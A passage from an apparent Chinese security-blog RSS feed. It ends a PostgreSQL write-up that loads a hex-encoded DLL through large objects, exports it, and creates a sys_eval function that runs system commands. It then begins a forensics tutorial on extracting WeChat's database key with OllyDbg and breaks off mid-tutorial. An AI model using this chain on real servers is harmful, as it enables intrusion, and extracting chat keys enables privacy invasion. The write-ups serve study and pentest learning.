0080c8000080c9000064b8010080c900006ecc000094b8010070cc0000ddcd000078b80100e0cd000085ce0000f0ad010088ce0000d8ce0000e4b80100d8ce000080cf0000f4b80100a8cf000067d000006cb3010090d00000ced10000b4b80100d0d100008ad2000040ac01008cd2000001d30000b4ac010004d30000b5d3000020b90100b8d3000044d4000044b9010044d40000d5d4000040b30100d8d40000c4d90000b0b90100c4d90000c6da0000d4b90100c8da0000e1db0000d4b90100e4db000054dd0000f4b9010054dd00003fde000068b9010040de000023e1000098b90100bce100000be20000b4ac01000ce20000b9e200008cb10100bce200007fe3000054ba010080e3000011e60000a4ba010014e600001ee8000080ba010020e80000e1e8000094ba0100e4e80000fbe9000018ba0100fce900002eea0000b4af010030ea000017ee000034ba010018ee000077ee0000b4ac010078ee0000e3ee000014ae0100e4ee00001def0000b4ac010020ef00004fef0000b4ac010050ef00002ef00000bcba0100bcf0000032f20000f0ad01005cf2000092f20000ecb10100bcf2000064f30000b4ac010064f30000d2f30000ccba0100d4f3000039f4000014ae010040f400009bf40000f0ba01009bf40000bff7000008bb0100bff70000ddf700002cbb0100e0f70000b3f8000014ae0100b4f8000052f900004cbb010060f9000028fd00003cbb010030fd0000c4fd0000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">58</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;5cbb0100c4fd000051ff000068bb010054ff000069020100a0bb01006c0201000203010090bb0100040301001b030100b4ac01001c030100b3040100c8bb0100b40401006305010054ac010064050100af050100e0b60100b0050100e9050100e4bb0100ec05010062070100ecbb0100640701006e08010004bc010070080100dc080100ecb10100dc0801003409010030ac0100340901003c0a01000cbc01003c0a0100990d01002cbc01009c0d0100250e01001cbc0100300e01006b0e010050bc01006c0e0100d80f01004cb101000c100100e111010058bc0100f01101009b17010078bc01009c170100ee170100e0b60100f01701000c180100b4ac01000c180100ca180100acb60100cc1801003119010084bc010034190100ee19010030ac0100f0190100171b01008cbc0100201b0100901b0100acbc0100901b0100b01b0100b4af0100b01b0100461c0100b4bc0100601c0100701c0100c0bc0100b01c0100d71c0100c8bc0100d81c0100e51f0100d0bc0100e81f010016200100b4ac01001820010035200100b4ad010038200100b4200100e4bc0100b4200100d3200100b4ad0100d4200100e5200100b4ac0100402101008d2101000cbd0100d02101002122010030bd0100e0230100a724010038bd0100c0240100c224010030ae0100e0240100e624010038ae0100f02401000725010000ad0100072501002025010000ad0100202501003425010000ad0100342501006a25010084ad01006a25010082250100e8ad010082250100182601008cae0100182601003026010000ad0100302601004826010000ad0100482601007326010000ad0100732601008b26010084ad01008b260100a626010000ad0100a6260100bf26010000ad0100bf260100d926010000ad0100d9260100f426010000ad0100f42601000d27010084ad01000d2701002727010000ad0100272701004027010000ad0100402701005b27010000ad01005b2701007827010000ad0100782701009127010000ad010091270100a827010000ad0100a8270100bf27010000ad0100bf270100db27010084ad0100db270100f727010084ad0100f72701001128010000ad0100112801002a28010000ad01002a2801004028010000ad0100402801006128010000ad0100612801007b28010000ad01007b280100ce28010078ba0100ce280100e728010000ad0100e72801001329010000ad0100202901004029010000ad0100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fe220000e4230000382300006f230000ea230000cf230000c023000040230000dd230000a52300009623000020230000b3230000802300005823000000230000c6250000bf250000b1250000a325000095250000812500006d2500005925000045250000f6260000ef260000e1260000d3260000c5260000b12600009d2600008926000075260000522800004b2800003d2800002f280000212800001328000005280000f7270000e927000000000000de2d0000db2d0000072e0000d72d0000e42d0000f42d0000042e0000d42d00000c2e0000e82d0000202e0000102e0000e02d0000f02d0000002e0000d02d0000282e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001800000018000080000000000000000000000000000001000200000030000080000000000000000000000000000001000904000048000000602002002402000000000000000000000000000000000000efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0d0a3c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e3c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e3c73656375726974793e3c72657175657374656450726976696c656765733e3c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e3c2f72657175657374656450726976696c656765733e3c2f73656375726974793e3c2f7472757374496e666f3e3c6170706c69636174696f6e20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e3c77696e646f777353657474696e67&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">59</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;733e3c647069417761726520786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f534d492f323030352f57696e646f777353657474696e6773223e747275653c2f64706941776172653e3c2f77696e646f777353657474696e67733e3c2f6170706c69636174696f6e3e3c2f617373656d626c793e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003001000801000088a290a298a2a0a2a8a2c8a2d0a2d8a2e0a2f8a200a308a380a388a3a0a3b0a3c0a3d0a3e0a3f0a300a410a420a430a440a450a460a470a480a490a4a0a4b0a4c0a4d0a4e0a4f0a400a510a520a530a540a550a560a570a580a590a5a0a5b0a5c0a5d0a5e0a5f0a500a610a620a630a640a650a660a670a680a690a6a0a6b0a6c0a6d0a6e0a6f0a600a710a720a730a740a750a760a770a780a790a7a0a7b0a7c0a7d0a7e0a7f0a700a810a820a830a840a850a860a870a880a890a8a0a8b0a8c0a8d0a8e0a8f0a800a910a920a930a940a950a960a970a980a990a9a0a9b0a9c0a9d0a9e0a9f0a900aa10aa20aa30aa40aa50aa60aa70aa80aa90aaa0aa0000004001002001000068a170a178a1f0a300a410a418a420a428a430a438a440a448a458a460a468a470a478a480a488a490a4a8a4b8a4c8a4d0a4d8a4e0a4e8a490a698a6a0a6a8a6f0a6f8a600a708a710a718a720a728a730a738a740a748a750a758a760a768a770a778a780a788a7b0acb8acc0acc8acd0acd8ace0ace8acf0acf8ac00ad08ad10ad18ad20ad28ad30ad38ad40ad48ad50ad58ad60ad68ad70ad78ad80ad88ad90ad98ada0ada8adb0adb8adc0adc8add0add8ade0ade8adf0adf8ad00ae10ae18ae20ae28ae30ae38ae40ae48ae50ae58ae60ae68ae70ae78ae80ae88ae90ae98aea0aea8aeb0aeb8aec0aec8aed0aed8aee0aee8aef0aef8ae00af08af10af18af20af28af30af38af40af48af50af58af60af68af000000500100e000000048a958a968a978a988a998a9a8a9b8a9c8a9d8a9e8a9f8a908aa18aa28aa38aa48aa58aa68aa78aa88aa98aaa8aab8aac8aad8aae8aaf8aa08ab18ab28ab38ab48ab58ab68ab78ab88ab98aba8abb8abc8abd8abe8abf8ab08ac18ac28ac38ac48ac58ac68ac78ac88ac98aca8acb8acc8acd8ace8acf8ac08ad18ad28ad38ad48ad58ad68ad78ad88ad98ada8adb8adc8add8ade8adf8ad08ae18ae28ae38ae48ae58ae68ae78ae88ae98aea8aeb8aec8aed8aee8aef8ae08af18af28af38af48af58af68af78af88af98afa8afb8afc8afd8afe8aff8af00600100f800000008a018a028a038a048a058a068a078a088a098a0a8a0b8a0c8a0d8a0e8a0f8a008a118a128a138a148a158a168a178a188a198a1a8a1b8a1c8a1d8a1e8a1f8a108a218a228a238a248a258a268a278a288a298a2a8a2b8a2c8a2d8a2e8a2f8a208a318a328a338a348a358a368a378a388a398a3a8a3b8a3c8a3d8a3e8a3f8a308a418a428a438a448a458a468a478a488a498a4a8a4b8a4c8a4d8a4e8a4f8a408a518a528a538a548a558a568a578a588a598a5a8a5b8a5c8a5d8a5e8a5f8a508a618a628a638a648a658a668a678a688a698a6a8a6b8a6c8a6d8a6e8a6f8a608a718a728a738a748a758a768a778a70070010094010000a0a3b0a3c0a3d0a3e0a3f0a300a410a420a430a440a450a460a470a480a490a4a0a4b0a4c0a4d0a4e0a4f0a400a510a520a530a540a550a560a570a580a590a5a0a5b0a5c0a5d0a5e0a5f0a500a610a620a630a640a650a660a670a680a690a6a0a6b0a6c0a6d0a6e0a6f0a600a710a720a730a740a750a760a770a780a790a7a0a7b0a7c0a7d0a7e0a7f0a700a810a820a830a840a850a860a870a880a890a8a0a8b0a8c0a8d0a8e0a8f0a800a910a920a930a940a950a960a970a980a990a9a0a9b0a9c0a9d0a9e0a9f0a900aa10aa20aa30aa40aa50aa60aa70aa80aa90aaa0aab0aac0aad0aae0aaf0aa00ab10ab20ab30ab40ab50ab60ab70ab80ab90aba0abb0abc0abd0abe0abf0ab00ac10ac20ac30ac40ac50ac60ac70ac80ac90aca0acb0acc0acd0ace0acf0ac00ad10ad20ad30ad40ad50ad60ad70ad80ad90ada0adb0adc0add0ade0adf0ad00ae10ae20ae30ae40ae50ae60ae70ae80ae90aea0aeb0aec0aed0aee0aef0ae00af10af20af30af40af50af60af70af80af90afa0afb0afc0afd0afe0aff0af008001004400000000a010a020a030a040a050a060a070a080a090a0a0a0b0a0c0a0d0a0e0a0f0a000a110a120a130a140a150a160a170a180a190a1a0a1b0a1c0a1d0a100a0010018000000a8a7c0a7c8a768a870a878a880a8000000d001004400000010a858a878a898a8&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">60</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;b8a8d8a808a920a928a930a968a970a980a988a990a998a9a0a9a8a9b0a9b8a9c0a9c8a9d8a9e0a9e8a9f0a9f8a900aa08aa10aa00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">SELECT</span> lo_export(<span class="code-snippet__number">5022</span>, <span class="code-snippet__string">&#39;c:\\users\\public\\test6.dll&#39;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">CREATE</span> <span class="code-snippet__keyword">OR</span> <span class="code-snippet__keyword">REPLACE</span> <span class="code-snippet__keyword">FUNCTION</span> sys_eval(<span class="code-snippet__built_in">text</span>) <span class="code-snippet__keyword">RETURNS</span> <span class="code-snippet__built_in">text</span> <span class="code-snippet__keyword">AS</span> <span class="code-snippet__string">&#39;c:\\users\\public\\test6.dll&#39;</span>, <span class="code-snippet__string">&#39;sys_eval&#39;</span> <span class="code-snippet__keyword">LANGUAGE</span> C <span class="code-snippet__keyword">RETURNS</span> <span class="code-snippet__literal">NULL</span> <span class="code-snippet__keyword">ON</span> <span class="code-snippet__literal">NULL</span> <span class="code-snippet__keyword">INPUT</span> IMMUTABLE;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">select</span> sys_eval(<span class="code-snippet__string">&#39;whoami&#39;</span>);</span></code></pre></section><p><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;"></span><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">和之前一样把sqlcmd.txt中.so路径改成.dll路径放到PostgreSQL里面执行即可，最后成功Getshell</span>：</p><p><img data-ratio="0.713463751438435" data-w="869" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=78dadf66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy6qDiavgEqVjkACIMVVULBVvUqVOfKGY1PQO9zhBvYtLxE5cUNxRtdgcG981FL899wOR0L7yNBSDg%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">后记</span></h3><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">最后总结出来感觉很简单，不过自己在试错过程中并不是每一次都能正确猜到错误点在哪里的，所以花了挺多时间，不过最后还是搞定了，可喜可贺，<strong>难拿的shell是最值得学习的</strong>。</span></p><p><br/></p>



<p><a href="2247484020">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9489e8cd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTM2ODgyMw%3D%3D%26mid%3D2247484020%26idx%3D1%26sn%3D345d8dfb2fafbe16e713fc6558345a47%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 11 Sep 2021 11:41:00 +0800</pubDate>
    </item>
    <item>
      <title>电子取证之PC版微信数据库解密</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTM2ODgyMw==&amp;mid=2247484007&amp;idx=1&amp;sn=7eb9c7d96db1c55f8e8b5436305c55cb</link>
      <description>记录学习「PC版微信数据库解密」全过程，参考原文「PC版微信数据库解密详细教程」</description>
      <content:encoded><![CDATA[<p>
<span>timewilltell</span> <span>2021-07-30 10:00</span> <span style="display: inline-block;"></span>
</p>

<p>记录学习「PC版微信数据库解密」全过程，参考原文「PC版微信数据库解密详细教程」</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=85e39d02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmNJ1o4qtgzPs8zUzsGHtZRrCAcMX84uYEfc5ULsvA4YvJJ106w1RRKw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">电子取证之PC版微信数据库解密</span></h1><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">记录学习「PC版微信数据库解密」全过程，参考原文「PC版微信数据库解密详细教程」链接：</span><span spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://bbs.pediy.com/thread-251303-4.htm" target="_blank">https://bbs.pediy.com/thread-251303-4.htm</a></span></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">1、环境&amp;工具</span></h3><ul class="list-paddingleft-2" data-mark="-" style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><li style="box-sizing: border-box;margin: 0px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;">Windows10：<a href="https://www.microsoft.com/" target="_blank">https://www.microsoft.com/</a></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;">PC版微信：<a href="https://pc.weixin.qq.com/" target="_blank">https://pc.weixin.qq.com/</a></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;">visual studio community 2019：<a href="https://visualstudio.microsoft.com/zh-hans/" target="_blank">https://visualstudio.microsoft.com/zh-hans/</a></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;">Ollydbg (吾爱破解专用版)：<a href="https://down.52pojie.cn/Tools/Debuggers/%E5%90%BE%E7%88%B1%E7%A0%B4%E8%A7%A3%E4%B8%93%E7%94%A8%E7%89%88Ollydbg.rar" target="_blank">https://down.52pojie.cn/Tools/Debuggers/%E5%90%BE%E7%88%B1%E7%A0%B4%E8%A7%A3%E4%B8%93%E7%94%A8%E7%89%88Ollydbg.rar</a></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;">openssl 1.0.2：<a href="https://www.openssl.org/source/openssl-1.0.2r.tar.gz" target="_blank">https://www.openssl.org/source/openssl-1.0.2r.tar.gz</a></span></p></li><li style="box-sizing: border-box;margin: 0px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;">SQLite DB Browser：<a href="https://sqlitebrowser.org/dl/" target="_blank">https://sqlitebrowser.org/dl/</a></span><span style="box-sizing: border-box;"><span style="box-sizing: border-box;"></span></span></p></li></ul><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">2、提取数据库文件密码</span></h3><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">打开 微信（退出状态） 和 OD ：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.3225806451612903" data-s="300,640" style="" data-type="png" data-w="341" src="https://wechat2rss.xlab.app/img-proxy/?k=1aaf4d96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmXtg7eKYVsYUiaO458IMOKRpQRzhD3ogwNzcDw3SKYfibQmw9uk8EH3qQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6945773524720893" data-s="300,640" style="" data-type="png" data-w="1254" src="https://wechat2rss.xlab.app/img-proxy/?k=b8f4eb8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmuMFuWFBl5DqSa5BfCmqMcnJR50tBF0vWbEQoA4vxlnNrcEHlM4FgCQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">使用OD 附加 微信进程， 点击 “文件” --&gt; &#34;附加&#34;  会弹出新窗口， 找到名称是 wechat  的选中 点击附加： </span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5429326287978864" data-s="300,640" style="" data-type="png" data-w="757" src="https://wechat2rss.xlab.app/img-proxy/?k=dd1c057e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmgGGbmHic54D4UgcZG5ecYwqFf8wc17xMpsLFtFqfkRJ9NpibM6q9HYLg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">加载后OD标题处会显示 wechat.exe:</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8661899897854954" data-s="300,640" style="" data-type="png" data-w="979" src="https://wechat2rss.xlab.app/img-proxy/?k=b9b8d310&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmicUpw72aeUUJTibDDFD0PCgfAJeyyz2bYTTZPNHywCaI11JWKORG3wSg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">点击菜单栏 “查看” --&gt; &#34;可执行模块&#34; （快捷键：Alt+E）：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9525350593311759" data-s="300,640" style="" data-type="png" data-w="927" src="https://wechat2rss.xlab.app/img-proxy/?k=720c08f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmUeuZ6OLl4ScrkR5D13PnoFVx7JibhsDGhjEdnmUqUBF1vU0J7CbePGw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">打开后找到 名称为“WeChatWi” 且路径以WeChatWin.dll 结尾这一行，双击进入：</span><br/></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: 